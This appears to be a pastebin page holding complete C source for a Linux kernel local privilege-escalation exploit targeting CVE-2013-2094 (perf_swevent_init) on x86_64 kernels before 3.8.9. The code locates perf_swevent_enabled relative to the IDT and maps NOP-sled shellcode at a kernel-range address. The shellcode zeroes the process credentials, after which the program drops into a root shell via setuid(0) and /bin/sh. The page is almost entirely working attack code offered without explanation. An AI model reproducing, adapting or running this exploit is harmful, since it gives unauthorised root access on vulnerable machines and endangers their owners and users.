SHOW:
|
|
- or go back to the newest paste.
| 1 | /* | |
| 2 | *Name : perf_swevent_init.c | |
| 3 | *Kernal Version : x86_64 Linux < 3.8.9 | |
| 4 | * CVE-2013-2094 exploit x86_64 Linux < 3.8.9 | |
| 5 | * by sorbo ([email protected]) June 2013 | |
| 6 | * | |
| 7 | * Based on sd's exploit. Supports more targets. | |
| 8 | * | |
| 9 | */ | |
| 10 | ||
| 11 | #define _GNU_SOURCE | |
| 12 | #include <string.h> | |
| 13 | #include <stdio.h> | |
| 14 | #include <unistd.h> | |
| 15 | #include <stdlib.h> | |
| 16 | #include <stdint.h> | |
| 17 | #include <sys/syscall.h> | |
| 18 | #include <sys/mman.h> | |
| 19 | #include <linux/perf_event.h> | |
| 20 | #include <signal.h> | |
| 21 | #include <assert.h> | |
| 22 | ||
| 23 | #define BASE 0x380000000 | |
| 24 | #define BASE_JUMP 0x1780000000 | |
| 25 | #define SIZE 0x10000000 | |
| 26 | #define KSIZE 0x2000000 | |
| 27 | ||
| 28 | #define TMP(x) (0xdeadbeef + (x)) | |
| 29 | ||
| 30 | struct idt {
| |
| 31 | uint16_t limit; | |
| 32 | uint64_t addr; | |
| 33 | } __attribute__((packed)); | |
| 34 | ||
| 35 | static int _fd; | |
| 36 | ||
| 37 | static int perf_open(uint64_t off) | |
| 38 | {
| |
| 39 | struct perf_event_attr attr; | |
| 40 | int rc; | |
| 41 | ||
| 42 | // printf("perf open %lx [%d]\n", off, (int) off);
| |
| 43 | ||
| 44 | memset(&attr, 0, sizeof(attr)); | |
| 45 | ||
| 46 | attr.type = PERF_TYPE_SOFTWARE; | |
| 47 | attr.size = sizeof(attr); | |
| 48 | attr.config = off; | |
| 49 | attr.mmap = 1; | |
| 50 | attr.comm = 1; | |
| 51 | attr.exclude_kernel = 1; | |
| 52 | ||
| 53 | rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0); | |
| 54 | ||
| 55 | return rc; | |
| 56 | } | |
| 57 | ||
| 58 | void __sc_start(void); | |
| 59 | void __sc_next(void); | |
| 60 | ||
| 61 | void __sc(void) | |
| 62 | {
| |
| 63 | asm("__sc_start:\n"
| |
| 64 | "call __sc_next\n" | |
| 65 | "iretq\n" | |
| 66 | "__sc_next:\n"); | |
| 67 | } | |
| 68 | ||
| 69 | void sc(void) | |
| 70 | {
| |
| 71 | int i, j; | |
| 72 | uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192)); | |
| 73 | uint64_t kbase = ((uint64_t)current) >> 36; | |
| 74 | int uid = TMP(1); | |
| 75 | int gid = TMP(2); | |
| 76 | ||
| 77 | for (i = 0; i < 4000; i += 4) {
| |
| 78 | uint64_t *p = (void *) ¤t[i]; | |
| 79 | uint32_t *cred = (uint32_t*) p[0]; | |
| 80 | ||
| 81 | if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) | |
| 82 | continue; | |
| 83 | ||
| 84 | for (j = 0; j < 20; j++) {
| |
| 85 | if (cred[j] == uid && cred[j + 1] == gid) {
| |
| 86 | for (i = 0; i < 8; i++) {
| |
| 87 | cred[j + i] = 0; | |
| 88 | return; | |
| 89 | } | |
| 90 | } | |
| 91 | } | |
| 92 | } | |
| 93 | } | |
| 94 | ||
| 95 | static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val) | |
| 96 | {
| |
| 97 | void *p; | |
| 98 | ||
| 99 | p = memmem(sc, 900, &needle, sizeof(needle)); | |
| 100 | if (!p) | |
| 101 | errx(1, "can't find %x", needle); | |
| 102 | ||
| 103 | memcpy(p, &val, sizeof(val)); | |
| 104 | } | |
| 105 | ||
| 106 | static void *map_mem(uint64_t addr) | |
| 107 | {
| |
| 108 | void *p; | |
| 109 | ||
| 110 | p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE, | |
| 111 | MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); | |
| 112 | ||
| 113 | if (p == MAP_FAILED) | |
| 114 | err(1, "mmap()"); | |
| 115 | ||
| 116 | return p; | |
| 117 | } | |
| 118 | ||
| 119 | static int find_mem(void *mem, uint8_t c) | |
| 120 | {
| |
| 121 | int i; | |
| 122 | uint8_t *p = mem; | |
| 123 | ||
| 124 | for (i = 0; i < SIZE; i++) {
| |
| 125 | if (p[i] == c) | |
| 126 | return i; | |
| 127 | } | |
| 128 | ||
| 129 | return -1; | |
| 130 | } | |
| 131 | ||
| 132 | static void dropshell() | |
| 133 | {
| |
| 134 | if (setuid(0) != 0) | |
| 135 | errx(1, "failed"); | |
| 136 | ||
| 137 | printf("Launching shell\n");
| |
| 138 | ||
| 139 | execl("/bin/sh", "sh", NULL);
| |
| 140 | exit(0); | |
| 141 | } | |
| 142 | ||
| 143 | void morte(int x) | |
| 144 | {
| |
| 145 | printf("Got signal\n");
| |
| 146 | close(_fd); | |
| 147 | dropshell(); | |
| 148 | } | |
| 149 | ||
| 150 | static void trigger(int intr) | |
| 151 | {
| |
| 152 | switch (intr) {
| |
| 153 | case 0: | |
| 154 | do {
| |
| 155 | int z = 1; | |
| 156 | int a = 1; | |
| 157 | ||
| 158 | z--; | |
| 159 | ||
| 160 | a /= z; | |
| 161 | } while (0); | |
| 162 | break; | |
| 163 | ||
| 164 | case 4: | |
| 165 | asm("int $4");
| |
| 166 | break; | |
| 167 | ||
| 168 | case 0x80: | |
| 169 | asm("int $0x80");
| |
| 170 | break; | |
| 171 | ||
| 172 | default: | |
| 173 | errx(1, "unknown intr %d", intr); | |
| 174 | } | |
| 175 | ||
| 176 | sleep(3); | |
| 177 | } | |
| 178 | ||
| 179 | int main(int argc, char *argv[]) | |
| 180 | {
| |
| 181 | uint32_t *p[2]; | |
| 182 | int fd, i; | |
| 183 | uint64_t off; | |
| 184 | uint64_t addr = BASE; | |
| 185 | struct idt idt; | |
| 186 | uint8_t *kbase; | |
| 187 | int sz = 4; | |
| 188 | int intr = 4; | |
| 189 | ||
| 190 | printf("Searchin...\n");
| |
| 191 | ||
| 192 | p[0] = map_mem(BASE); | |
| 193 | p[1] = map_mem(BASE_JUMP); | |
| 194 | ||
| 195 | memset(p[1], 0x69, SIZE); | |
| 196 | ||
| 197 | off = 0xFFFFFFFFL; | |
| 198 | fd = perf_open(off); | |
| 199 | close(fd); | |
| 200 | ||
| 201 | i = find_mem(p[0], 0xff); | |
| 202 | if (i == -1) {
| |
| 203 | i = find_mem(p[1], 0x68); | |
| 204 | ||
| 205 | if (i == -1) | |
| 206 | errx(1, "Can't find overwrite"); | |
| 207 | ||
| 208 | sz = 24; | |
| 209 | addr = BASE_JUMP; | |
| 210 | printf("detected CONFIG_JUMP_LABEL\n");
| |
| 211 | } | |
| 212 | ||
| 213 | munmap(p[0], SIZE); | |
| 214 | munmap(p[1], SIZE); | |
| 215 | ||
| 216 | addr += i; | |
| 217 | addr -= off * sz; | |
| 218 | ||
| 219 | printf("perf_swevent_enabled is at 0x%lx\n", addr);
| |
| 220 | ||
| 221 | asm("sidt %0" : "=m" (idt));
| |
| 222 | ||
| 223 | printf("IDT at 0x%lx\n", idt.addr);
| |
| 224 | ||
| 225 | off = addr - idt.addr; | |
| 226 | off -= 8; | |
| 227 | ||
| 228 | switch (off % sz) {
| |
| 229 | case 0: | |
| 230 | intr = 0; | |
| 231 | break; | |
| 232 | ||
| 233 | case 8: | |
| 234 | intr = 0x80; | |
| 235 | break; | |
| 236 | ||
| 237 | case 16: | |
| 238 | intr = 4; | |
| 239 | break; | |
| 240 | ||
| 241 | default: | |
| 242 | errx(1, "remainder %d", off % sz); | |
| 243 | } | |
| 244 | ||
| 245 | printf("Using interrupt %d\n", intr);
| |
| 246 | ||
| 247 | off -= 16 * intr; | |
| 248 | ||
| 249 | assert((off % sz) == 0); | |
| 250 | ||
| 251 | off /= sz; | |
| 252 | off = -off; | |
| 253 | ||
| 254 | // printf("Offset %lx\n", off);
| |
| 255 | ||
| 256 | kbase = (uint8_t*) (idt.addr & 0xFF000000); | |
| 257 | ||
| 258 | printf("Shellcode at %p\n", kbase);
| |
| 259 | ||
| 260 | if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC, | |
| 261 | MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED) | |
| 262 | err(1, "mmap()"); | |
| 263 | ||
| 264 | memset(kbase, 0x90, KSIZE); | |
| 265 | kbase += KSIZE - 1024; | |
| 266 | ||
| 267 | i = __sc_next - __sc_start; | |
| 268 | memcpy(kbase, __sc_start, i); | |
| 269 | kbase += i; | |
| 270 | memcpy(kbase, sc, 900); | |
| 271 | ||
| 272 | sc_replace(kbase, TMP(1), getuid()); | |
| 273 | sc_replace(kbase, TMP(2), getgid()); | |
| 274 | ||
| 275 | signal(SIGALRM, morte); | |
| 276 | alarm(2); | |
| 277 | ||
| 278 | printf("Triggering sploit\n");
| |
| 279 | _fd = perf_open(off); | |
| 280 | ||
| 281 | trigger(intr); | |
| 282 | ||
| 283 | exit(0); | |
| 284 | } |